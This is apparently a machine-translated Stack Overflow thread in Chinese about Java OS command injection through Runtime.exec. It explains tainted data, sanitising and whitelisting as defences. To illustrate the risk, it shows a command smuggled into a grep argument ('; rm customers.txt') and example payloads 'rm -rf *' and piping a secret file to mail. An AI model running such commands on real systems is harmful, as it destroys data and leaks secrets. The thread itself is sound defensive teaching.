2016-10-11 59 views
2

按我的理解中從site OS(Linux/Windows的)命令執行可能只有 當我使用任何字符串作爲參數Runtime.exec可能沒有運行時API執行的OS命令注入?

我的問題是,如果我不使用任何請求參數(由用戶來)或者實際上Runtime.exec下的任何字符串都可以執行OS命令?我的回答是不應該以任何方式可能 。

+0

第一眼看你是對的。但是,您執行的程序(即使以非用戶定義的參數啓動)可能會處理可能觸發程序中的漏洞的用戶數據,這可能會導致例如命令注入。 – Robert

+0

@羅伯特同意。但要點是它的用戶輸入還是內部輸入,要在java中執行操作系統命令注入,必須通過'Runtime.exec(String command)'執行輸入,沒有其他辦法嗎? – emilly

回答

1

最安全的事情總是避免像system()exec()這樣的調用 - 事實上,在某些組織中,如果您的應用程序這樣做,您絕對不會通過安全審查。

但是,正如您暗示的那樣,您可以採取措施確保安全。一個有用的概念是「受污染」的數據。由用戶或客戶端提供的一條數據是受污染的。從內建的一個數據受污染的數據,也被污染。你可以在「解除污染*數據,例如通過將其映射到列入白名單的設置選項,或清洗它。

String name = request.getBody(); // tainted 
String cmd = "grep " + name + " customers.txt"; // also tainted 
String cleanName = sanitize(name); // untainted 
String cleanerName = validNameMap.get(name); // untainted 
String literal = "a literal string"; // untainted 

你可以看到,如果request.getBody()回報slim然後grep slim customers.txt是如何安全的。但是,如果用戶提供的數據爲slim customers.txt; rm,所產生的grep slim customers.txt; rm customers.txtcmd是個壞消息。

sanitize()可能不喜歡的東西去掉一切,但a-zA-Z

有相當的sanitizin很多範圍g例程幼稚,並且不夠徹底,這可能是一個攻擊媒介 - 所以白名單被認爲是更安全的。

(有許多語言可以分析代碼的工具,並警告你,如果從一個不可信來源的數據寫入到一個不安全的目的地:https://www.owasp.org/index.php/Source_Code_Analysis_Tools

如果字符串(S)傳遞給exec()有污點這是邁向安全的一步。然而,這仍然有危險。試想一下:

String command = "/usr/local/bin/myProgram"; 
String path = "/tmp/inputfile"; 
createNewFile(path, request.getBody()); 
runtime.exec(command, path); 

現在,無論commandpath是污點 - 它們不是由用戶提供 - 但我們是通過文件tained數據傳遞到myProgram,並有一個風險,即myProgram會做一些危險的與數據。

這個最明顯的例子是command/bin/bash,請求正文是rm -rf *cat secretFile | mail [email protected]

但有很多更微妙的方式,這可能是有風險的。例如,myprogram可能會使用該文件的內容來構建SQL請求。

您可以在各個地方減輕這些風險。您可以在將數據寫入文件之前對數據進行清理,或者您可以在安全模型中明確指出文件內容受到污染,myprogram必須如此處理,並自行解決。